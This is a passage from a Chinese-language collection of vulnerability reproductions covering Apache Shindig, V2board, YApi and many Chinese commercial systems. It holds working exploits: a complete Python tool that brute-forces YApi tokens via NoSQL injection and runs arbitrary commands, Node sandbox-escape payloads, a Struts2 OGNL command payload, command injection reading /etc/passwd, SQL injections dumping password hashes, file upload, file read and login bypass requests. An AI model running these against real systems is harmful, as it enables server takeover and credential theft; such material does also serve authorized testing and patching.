StringBuffer buffer = this.getPOSTContent(request);
response = this.proxyHandler.fetch(proxyUri, buffer.toString());
} else {
response = this.proxyHandler.fetch(proxyUri);
}
} catch (GadgetException var11) {
response = ServletUtil.errorResponse(new GadgetException(var11.getCode(), var11.getMessage(), 400));
}
ServletUtil.copyToServletResponseAndOverrideCacheHeaders(response, servletResponse);
}
}
向下跟进到org.apache.shindig.gadgets.servlet.ProxyHandler
org.apache.shindig.gadgets.servlet.ProxyHandler.fatch
接着向下看到 org.apache.shindig.gadgets.servlet.ProxyHandler 下的 buildHttpRequest
方法创建Http请求, 而目标就是我们刚刚传入的Url参数
private HttpRequest buildHttpRequest(ProxyUri uriCtx, Uri tgt, @Nullable String postBody) throws GadgetException, IOException {
ServletUtil.validateUrl(tgt);
HttpRequest req = uriCtx.makeHttpRequest(tgt);
req.setRewriteMimeType(uriCtx.getRewriteMimeType());
if (postBody != null) {
req.setMethod("POST");
req.setPostBody(new ByteArrayInputStream(postBody.getBytes()));
}
if (req.getHeader("User-Agent") == null) {
String userAgent = uriCtx.getUserAgent();
if (userAgent != null) {
req.setHeader("User-Agent", userAgent);
}
}
return req;
}
最后回显至页面中, 造成存在回显的SSRF
v2board
1.6-privilege-escalation
V2board 1.6.1 提权漏洞
V2board是一个多用户代理工具管理面板。在其1.6.1版本中,引入了对于用户Session的缓存机制,服务器会将用户的认证信息储存在Redis缓存中。
但由于读取缓存时没有校验该用户是普通用户还是管理员,导致普通用户的认证信息即可访问管理员接口,造成提权漏洞。
参考链接:
漏洞环境
执行如下命令启动一个V2board 1.6.1版本服务器:
docker compose up -d
服务启动后,访问http://localhost:8080
即可查看到其登录页面。
漏洞复现
复现该漏洞,必须注册或找到一个普通用户账号。注册完成后,我们发送如下请求进行登录(将其中账号密码替换成你注册时使用的信息):
curl -i -s -k -XPOST --data-binary "email=example%40example.com&password=a123123123" http://localhost:8080/api/v1/passport/auth/login
服务器会返回当前用户的认证信息“auth_data”:
拷贝这个认证信息,并替换到如下数据包的Authorization
头中,发送:
GET /api/v1/user/info HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Authorization: ZXhhbXBsZUBleGFtcGxlLmNvbTokMnkkMTAkMVJpUFplR2RnZlFPSVRyWEM4dW0udW5QZVZNTGs3RlFFbkFVVnBwbEhmTlMyczdQaEpTa3E=
Cache-Control: max-age=0
这一步的目的是让服务器将我们的Authorization头写入缓存中。
最后,只需要带上这个Authorization头,即可使用所有管理员API了。例如http://your-ip:8080/api/v1/admin/user/fetch
yapi
mongodb-inj
YApi NoSQL注入导致远程命令执行漏洞
YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
参考链接:
漏洞影响
网络测绘
漏洞环境
执行如下命令启动一个YApi v1.10.2服务:
docker compose up -d
环境启动后,访问http://your-ip:3000
即可看到YApi首页。
漏洞复现
登录页面
查看漏洞修复补丁,其中对 token 的数据类型继续校验,需要为字符串才能通过代码
来到代码块中,首先先从请求中获取 token 数据,通过校验后来到方法 parseToken
server/utils/token.js#parseToken
方法中对 token进行解密,当解密失败时返回 False
在这个文件中我们可以找到 Token的加解密方法
Token为False时,代码走向 server/controllers/base.js#getProjectIdByToken
方法
getProjectIdByToken方法调用 server/models/token.js#findId
方法
使用 $regex 关键字匹配MongoDB 数据库中的 token, 并通过页面回显判断 token是否正确
db.token.findOne({token:{'$regex':'^1c'}})
验证POC
POST /api/interface/up
{"id": -1, "token": {"$regex": "^xxxxx", "$nin": []}}
漏洞POC
import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin
logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''
def compute(passphase: str):
nkey = 24
niv = 16
key = ''
iv = ''
p = ''
while True:
h = hashlib.md5()
h.update(binascii.unhexlify(p))
h.update(passphase.encode())
p = h.hexdigest()
i = 0
n = min(len(p) - i, 2 * nkey)
nkey -= n // 2
key += p[i:i + n]
i += n
n = min(len(p) - i, 2 * niv)
niv -= n // 2
iv += p[i:i + n]
i += n
if nkey + niv == 0:
return binascii.unhexlify(key), binascii.unhexlify(iv)
def aes_encode(data):
key, iv = compute('abcde')
padder = padding.PKCS7(128).padder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
encryptor = cipher.encryptor()
ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
return binascii.hexlify(ct).decode()
def aes_decode(data):
key, iv = compute('abcde')
unpadder = padding.PKCS7(128).unpadder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
ct = unpadder.update(ct) + unpadder.finalize()
return ct.decode().strip()
def brute_token(target, already):
url = urljoin(target, '/api/interface/up')
current = '^'
for i in range(20):
for ch in choices:
guess = current + ch
data = {
'id': -1,
'token': {
'$regex': guess,
'$nin': already
}
}
headers = {
'Content-Type': 'application/json'
}
response = requests.post(url,
data=json.dumps(data),
headers=headers,
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
res = response.json()
if res['errcode'] == 400:
current = guess
break
logger.debug(f'current cuess: {current}')
return current[1:]
def find_owner_uid(target, token):
url = urljoin(target, '/api/project/get')
for i in range(1, 200):
params = {'token': aes_encode(f'{i}|{token}')}
response = requests.get(url, params=params,
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
if data['errcode'] == 0:
return i
return None
def find_project(target, token, pid=None):
url = urljoin(target, '/api/project/get')
params = {'token': token}
if pid:
params['id'] = pid
response = requests.get(url,
params=params,
#proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
#verify=False,
)
data = response.json()
if data['errcode'] == 0:
return data['data']
def find_col(target, token, brute_from, brute_to):
url = urljoin(target, '/api/open/run_auto_test')
for i in range(brute_from, brute_to):
try:
params = {'token': token, 'id': i, "mode": "json"}
response = requests.get(url,
params=params,
timeout=5,
#proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
#verify=False,
)
data = response.json()
if 'message' not in data:
continue
if data['message']['len'] > 0:
logger.debug('Test Result Found: %r', response.url)
yield i
except requests.exceptions.Timeout:
logger.debug('id=%d timeout', i)
pass
def update_project(target, token, project_id, command):
url = urljoin(target, '/api/project/up')
command_hex = command.encode().hex()
script = script_template % command_hex
response = requests.post(url,
params={'token': token},
json={'id': project_id, 'after_script': script},
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
return data['errcode'] == 0
def run_auto_test(target, token, col_id):
url = urljoin(target, '/api/open/run_auto_test')
response = requests.get(url,
params={'token': token, 'id': col_id, 'mode': 'json'},
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
try:
data = response.json()
return data['list'][0]['res_body'][8:-8]
except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
if g:
return g.group(1).decode()
else:
return None
def clear_project(target, token, project_id, old_after_script):
url = urljoin(target, '/api/project/up')
response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
data = response.json()
return data['errcode'] == 0
@click.group()
@click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
def cli(debug):
if debug:
logger.setLevel('DEBUG')
@cli.command('enc')
@click.argument('data', type=str, required=True)
def cmd_enc(data: str):
click.echo(aes_encode(data))
@cli.command('dec')
@click.argument('data', type=str, required=True)
def cmd_dec(data: str):
click.echo(aes_decode(data))
@cli.command('token')
@click.option('-u', '--url', type=str, required=True)
@click.option('-c', '--count', type=int, default=5)
def cmd_token(url, count):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
break
click.echo(f'find a valid token: {token}')
already.append(token)
@cli.command('owner')
@click.option('-u', '--url', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_owner(url, token):
aid = find_owner_uid(url, token)
e = aes_encode(f'{aid}|{token}')
click.echo(f'your owner id is: {aid}, encrypted token is {e}')
@cli.command('project')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_project(url, owner, token):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token)
if project:
logger.info('[+] project by this token: %r', project)
click.echo(f'your project id is: {project["_id"]}')
@cli.command('col')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
@click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
def cmd_col(url, owner, token, brute_from, brute_to):
token = aes_encode(f'{owner}|{token}')
for i in find_col(url, token, brute_from, brute_to):
click.echo(f'found a valid col id: {i}')
@cli.command('rce')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--pid', 'project_id', type=int, required=True)
@click.option('--cid', 'col_id', type=int, required=True)
@click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
def cmd_rce(url, owner, token, project_id, col_id, command):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token, project_id)
if not project:
click.echo('[-] failed to get project')
return False
old_after_script = project.get('after_script', '')
if not update_project(url, token, project_id, command):
click.echo('[-] failed to update project')
return False
output = run_auto_test(url, token, col_id)
if output:
click.echo(output)
clear_project(url, token, project_id, old_after_script)
return True
clear_project(url, token, project_id, old_after_script)
return False
@cli.command('one4all')
@click.option('-u', '--url', type=str, required=True)
@click.option('--count', type=int, default=5)
@click.option('-c', '--command', type=str, default='id')
def cmd_one4all(url, count, command):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
logger.info('[-] no new token found, exit...')
break
already.append(token)
logger.info('[+] find a new token: %s', token)
owner_id = find_owner_uid(url, token)
if not owner_id:
logger.info('[-] failed to find the owner id using token %s', token)
continue
etoken = aes_encode(f'{owner_id}|{token}')
logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
project = find_project(url, etoken)
if not project:
logger.info('[-] failed to find project using token %s', token)
continue
project_id = project['_id']
logger.info('[+] project_id = %s, project = %r', project_id, project)
col_ids = find_col(url, etoken, 1, 200)
if not col_ids:
logger.info('[+] failed to find cols in project %s, try next project...', project_id)
for col_id in col_ids:
logger.info('[+] col_id = %s', col_id)
click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')
if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
return
if __name__ == '__main__':
cli()
使用这个POC来复现漏洞:
python poc.py --debug one4all -u http://127.0.0.1:3000/
unacc
YApi开放注册导致RCE
YApi是一个API管理工具。如果注册功能开放,攻击者可以使用Mock功能执行任意代码。
参考链接:
漏洞影响
网络测绘
漏洞环境
执行如下命令启动一个YApi 1.9.2:
docker compose up -d
环境启动后,访问http://your-ip:3000
即可查看到YApi首页。
漏洞复现
首先,注册一个用户,并创建项目和接口:
接口中有一个Mock页面可以填写代码,我们填写包含恶意命令的代码:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()
然后,回到“预览”页面可以获得Mock的URL:
打开这个URL,即可查看到命令执行的结果:
添加项目,参数任意, 创建后点击 高级Mock 输入如下Payload
const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("cat /etc/passwd").toString()
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const base64Str = "Y29uc3QgciA9IHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlY1N5bmMoImhhaGhhaGFoYWhhaGEiKTtyZXR1cm4gcjsK"
const bufferer = FunctionConstructor("haha = new Buffer('" + base64Str + "', 'base64');return haha");
const haha = new bufferer();
const c = haha.toString()
const daima = c.replace("hahhahahahaha","whoami")//这里写命令
const daima_jiazai = FunctionConstructor(daima);
const jieguo = daima_jiazai()
mockJson = jieguo.toString();
预览处点击项目链接
安美数字
安美数字 酒店宽带运营系统 server_ping.php 远程命令执行漏洞
漏洞描述
安美数字 酒店宽带运营系统 server_ping.php 存在远程命令执行漏洞,漏洞文件中ip参数未过滤造成命令执行
漏洞影响
网络测绘
漏洞复现
登录页面如下
存在漏洞的文件为 server_ping.php
<?
if (!isset($ip) || $ip == "" || !isset($id) || $id == "") exit;
$cmd = "ping -c 2 -s 65 $ip";
$fp = popen($cmd, "r");
$getString = "";
if ($fp) {
while (($line = fgets($fp, 512))) {
$getString .= trim($line);
}
pclose($fp);
}
if (strstr($getString, "2 received, 0%")) {
echo "<html><body><script language=\"javascript\">\n";
echo "parent.doTestResult('$id', 'ok');\n";
echo "</script></body></html>\n";
} else {
echo "<html><body><script language=\"javascript\">\n";
echo "parent.doTestResult('$id', 'no');\n";
echo "</script></body></html>\n";
}
?>
$cmd = "ping -c 2 -s 65 $ip";
$fp = popen($cmd, "r");
GET传入 $ip参数
后直接命令执行,并且文件无权限要求
请求包为
GET /manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../test.txt&id=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
宝塔
宝塔 phpmyadmin未授权访问漏洞
漏洞描述
【宝塔面板】紧急安全更新通知,Linux面板7.4.2版本/Windows面板6.8版本存在安全隐患,其他版本无此风险。已发布紧急更新,请所有使用此版本的用户务必升级到最新版,更新方法,登录面板直接升级更新即可,如更新出现问题,请登录宝塔论坛反馈或者联系客服反馈
影响版本
漏洞复现
访问 http://xxx.xxx.xxx.xxx:888/pma 即可
畅捷CRM
get_usedspace.php SQL注入漏洞
漏洞描述
畅捷CRM get_usedspace.php存在SQL漏洞,通过漏洞可获取数据库敏感信息
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/webservice/get_usedspace.php?site_id=-1159 UNION ALL SELECT CONCAT(0x76756c6e,0x76756c6e,0x76756c6e)--
使用Sqlmap验证漏洞
sqlmap -u "http://xxx.xxx.xxx.xxx:8000/webservice/get_usedspace.php?site_id=1" -p site_id
后台附件任意文件上传漏洞
漏洞描述
畅捷CRM 后台附件存在任意文件上传漏洞,通过解析漏洞可跳过后缀更改获取网站权限
漏洞影响
网络测绘
漏洞复现
登录页面
部分存在空密码 admin/空密码
登录后添加客户,并上传附件为PHP文件,其中文件名为 xxx.xxx.php格式,越过系统中的后缀更改
点击文件名跳转
辰信领创
辰信景云终端安全管理系统 login SQL注入漏洞
漏洞描述
辰信领创 辰信景云终端安全管理系统 login存在 SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
POST /api/user/login
captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(3))a)='
飞企互联
FE业务协作平台 ShowImageServlet 任意文件读取漏洞
漏洞描述
飞企互联 FE业务协作平台 ShowImageServlet 接口存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中敏感文件
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
/servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print
飞视美
视频会议系统 Struts2 远程命令执行漏洞
漏洞描述
飞视美 视频会议系统 Struts2组件存在远程命令执行漏洞,通过漏洞攻击者可执行任意命令获取服务器权限
漏洞影响
网络测绘
漏洞复现
登录页面
存在漏洞的路径为
/confinfoaction!showallConfinfos.action
发送请求包
POST /confinfoaction!showallConfinfos.action HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 669
Host:
Connection: Keep-Alive
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ipconfig\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
孚盟云
孚盟云 AjaxMethod.ashx SQL注入漏洞
漏洞描述
孚盟云 AjaxMethod.ashx文件存在SQL注入漏洞,攻击者通过漏洞可获取服务器权限
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
http://xxx.xxx.xxx.xxx/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27
使用Sqlmap
sqlmap -u "http://xxx.xxx.xxx.xxx/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y" -p Name --batch --random-agent --dbms mssql --dbs
广联达
Linkworks GetIMDictionary SQL注入漏洞
漏洞描述
广联达 Linkworks办公OA GetIMDictionary接口存在SQL注入漏洞,发送请求包后可以获取数据库中的敏感信息
漏洞影响
网络测绘
漏洞复现
登陆页面
// GTP.IM.Services.Config.WebSite.WebService.IM.Config.ConfigService
// Token: 0x06000018 RID: 24 RVA: 0x00004148 File Offset: 0x00002348
[WebMethod(Description = "得到IM系统配置")]
public string GetIMDictionary(string key)
{
string str = string.Empty;
ISysConfigService service = ServiceFactory.GetService<ISysConfigService>();
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendFormat("select F_VALUE from T_IM_DICTIONARY where f_key='{0}';", key);
DataSet dataSet = GSqlDataAccess.SelectDataSet(service.DataSourceName, stringBuilder.ToString(), new DataParameter[0]);
if (dataSet != null && dataSet.Tables.Count > 0 && dataSet.Tables[0] != null)
{
foreach (object obj in dataSet.Tables[0].Rows)
{
DataRow dataRow = (DataRow)obj;
str = dataRow["F_VALUE"].ToString();
}
}
StringBuilder stringBuilder2 = new StringBuilder();
stringBuilder2.Append("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
stringBuilder2.Append("<result value=\"" + str + "\" >");
stringBuilder2.Append("</result>");
return stringBuilder2.ToString();
}
验证POC
POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --
Linkworks msgbroadcastuploadfile.aspx 后台文件上传漏洞
漏洞描述
广联达 Linkworks msgbroadcastuploadfile.aspx 存在后台文件上传漏洞,攻击者通过SQL注入获取管理员信息后,可以登陆发送请求包获取服务器权限
漏洞影响
广联达 Linkworks
网络测绘
web.body=”/Services/Identification/“
漏洞复现
登陆页面
GTP.IM.Services.Group.WebSite.GTP.IM.Services.Group 存在文件上传,上传后在当前目录 Upload下
通过SQL注入获取管理员账号密码后登陆后台上传文件,验证POC
POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Cookie: 0_styleName=styleA
------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
Content-Type: application/text
Test
------WebKitFormBoundaryFfJZ4PlAZBixjELj--
/GTP/IM/Services/Group/Upload/xxx-xxx-test.aspx
汉得
汉得SRM tomcat.jsp 登陆绕过漏洞
漏洞描述
汉得SRM tomcat.jsp 文件存在登陆绕过漏洞, 攻击者通过发送请求包,可以获取后台管理员权限
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC (Tomcat session操控)
/tomcat.jsp?dataName=role_id&dataValue=1
/tomcat.jsp?dataName=user_id&dataValue=1
访问跳转后台
/main.screen
和信创天
和信创天云桌面系统 upload_file.php 远程命令执行漏洞
漏洞描述
和信创天云桌面系统存在默认配置导致文件上传并可以远程命令执行
漏洞影响
网络测绘
漏洞复现
登录页面如下
存在漏洞的文件为 upload_file.php
<?php
function writeLog($msg){
$logFile = date('Y-m-d').'.txt';
$msg = date('Y-m-d H:i:s').' >>> '.$msg."\r\n";
file_put_contents($logFile,$msg,FILE_APPEND );
}
//require("vesystem/msg_define/session_lib.php");
if ($_FILES["file"]["error"] > 0)
{
// echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "_Requst:<br>";
/* foreach($_REQUEST as $name => $value)
{
$name."=".$value."<br>";
}
//echo "_FILES:<br>";
foreach($_FILES as $array_name=>$array_value)
{
$array_name."=".$array_value."<br>";
foreach($_FILES[$array_name] as $name => $value)
{
$name."=".$value."<br>";
}
} */
$l = $_GET['l'];
//拆分字符串按“/”分割字符
$arrpath = explode("/",$l);
$m = count($arrpath);
$file_e = "";
if ($m>1){
for($i=0;$i<$m;$i++){
$file_e .= $arrpath[$i];
if(!file_exists($file_e)){
mkdir($file_e, 0777);
}
$file_e .= "/";
}
}else{
//判断文件夹是否存在 ,不存在就新建个
if(!file_exists($l)){
mkdir("$l", 0777);
}
}
$target_path=$_SERVER["DOCUMENT_ROOT"]."/Upload/".$l."/".$_FILES["file"]["name"];
if (file_exists($target_path))
{
unlink($target_path);
}
$a = 'old_file='.$_FILES["file"]["tmp_name"];
writeLog($a);
writeLog('new_file='.$target_path);
$target_path = str_replace ( '//', '/', $target_path );
writeLog('new_file2='.$target_path);
$varerror = move_uploaded_file($_FILES["file"]["tmp_name"],$target_path);
writeLog('$varerror='.$varerror);
}
?>
发送请求包如下
POST /Upload/upload_file.php?l=1 HTTP/1.1
Host: xxx.xxx.xx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 182
------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/avif
<?php phpinfo(); ?>
------WebKitFormBoundaryfcKRltGv--
访问
http://xxx.xx.xxx.xxx/Upload/1/test.php
宏景
CNVD-2023-08743
宏景 HCM codesettree SQL注入漏洞
漏洞描述
宏景 HCM codesettree 接口存在SQL注入漏洞,攻击者通过漏洞可以获取到登陆系统的账号密码和数据库信息
漏洞影响
网络测绘
app=”HJSOFT-HCM”
漏洞复现
登陆页面
验证POC
/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d
/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cpassword~20from~20operuser~20~2d~2d
汇文
图书馆书目检索系统 config.properties 信息泄漏漏洞
漏洞描述
汇文 图书馆书目检索系统 /include/config.properties 文件中包含敏感信息,攻击者可以直接访问获取信息
漏洞影响
网络测绘
漏洞复现
主页面
验证POC
/include/config.properties
吉拉科技
LVS精益价值管理系统 Business 目录遍历漏洞
漏洞描述
杭州吉拉科技有限公司多个系统存在目录遍历漏洞,由于 /Business/ 访问控制不严,攻击者可利用该漏洞获取敏感信息。
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/Business/
极通EWEBS
casmain.xgi 任意文件读取漏洞
漏洞描述
极通EWEBS casmain.xgi 任意文件读取漏洞,攻击者通过漏洞可以读取任意文件
漏洞影响
网络测绘
漏洞复现
登录页面如下
漏洞请求包为
POST /casmain.xgi HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=923b86fa90ce1e14c82d4e36d1adc528; CookieLanguageName=ZH-CN
Content-Length: 57
Language_S=../../../../windows/system32/drivers/etc/hosts
可以配合 testweb.php 信息泄露读取敏感信息
Language_S=../../Data/CONFIG/CasDbCnn.dat
金笛
金笛 短信中间件Web版 log 后台任意文件下载漏洞 CNVD-2021-57336
漏洞描述
金笛 短信中间件Web版后台存在任意文件下载漏洞,攻击者通过漏洞可以获取服务器任意文件信息
漏洞影响
网络测绘
漏洞复现
登录页面
存在漏洞的位置为 日志下载
验证POC
/log?action=view&pageIndex=1&name=../../../windows/win.ini
金盘
微信管理平台 getsysteminfo 未授权访问漏洞
漏洞描述
金盘 微信管理平台 getsysteminfo接口存在未授权访问漏洞,攻击者通过漏洞可以获取账号密码信息,获取后台管理员权限
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
/admin/weichatcfg/getsysteminfo
久其软件
久其财务报表 download.jsp 任意文件读取漏洞
漏洞描述
久其财务报表 download.jsp 存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器上的信息
漏洞影响
网络测绘
漏洞复现
登录路径如下
发送请求包
POST /netrep/ebook/browse/download.jsp HTTP/1.1
Host:
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
jpgfilepath=c:\windows\win.ini
科达
MTS转码服务器 任意文件读取漏洞
漏洞描述
KEDACOM MTS转码服务器存在任意文件读取漏洞,攻击这通过漏洞可以读取服务器任意信息
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/../../../../../../../../etc/passwd
网络键盘控制台 任意文件读取漏洞
漏洞描述
KEDACOM 网络键盘控制台存在任意文件读取漏洞,攻击这通过漏洞可以读取服务器任意信息
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/../../../../../../../../etc/passwd
科迈
RAS系统 Cookie验证越权漏洞
漏洞描述
科迈 RAS系统 存在Cookie验证越权,当 RAS_Admin_UserInfo_UserName 设置为 admin 时可访问后台
漏洞影响
网络测绘
漏洞复现
登录页面如下
添加Cookie
RAS_Admin_UserInfo_UserName=admin
访问 /Server/CmxUser.php?pgid=UserList
获取后可以添加用户,授权登陆设备直接接入内网
昆石网络
VOS3000虚拟运营支撑系统 %c0%ae%c0%ae 任意文件读取漏洞
漏洞描述
昆石网络 VOS3000虚拟运营支撑系统 通过 %c0%ae%c0%ae 等字符绕过检测,可导致任意文件读取漏洞
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
零视科技
CNVD-2020-67113
H5S视频平台 GetUserInfo 信息泄漏漏洞
漏洞描述
零视技术(上海)有限公司是以领先的视频技术服务于客户,致力于物联网视频开发简单化,依托于HTML5 WebRTC 等新的技术,实现全平台视频播放简单化。
零视技术(上海)有限公司H5S CONSOLE存在未授权访问漏洞。攻击者可利用漏洞访问后台相应端口,执行未授权操作。
漏洞影响
网络测绘
漏洞复现
登录页面
API文档可以未授权访问
/doc/api.html
存在用户账号密码泄漏的接口
/api/v1/GetUserInfo?user=admin&session=
其中登录接口中 Password为接口中存在的账号密码,可以直接发送请求获取Cookie
/api/v1/Login?user=admin&password=02ed400b8d9289f311fc1d68a83fdaaa
请求成功后访问主页面
魅课
OM视频会议系统 proxy.php 文件包含漏洞
漏洞描述
魅课OM视频会议系统 proxy.php文件target参数存在本地文件包含漏洞。攻击者可借助该漏洞无需登录便可下载任意文件。
漏洞影响
网络测绘
漏洞复现
登录页面
验证POC
/admin/do/proxy.php?method=get&target=../../../../../../../../../../windows/win.ini
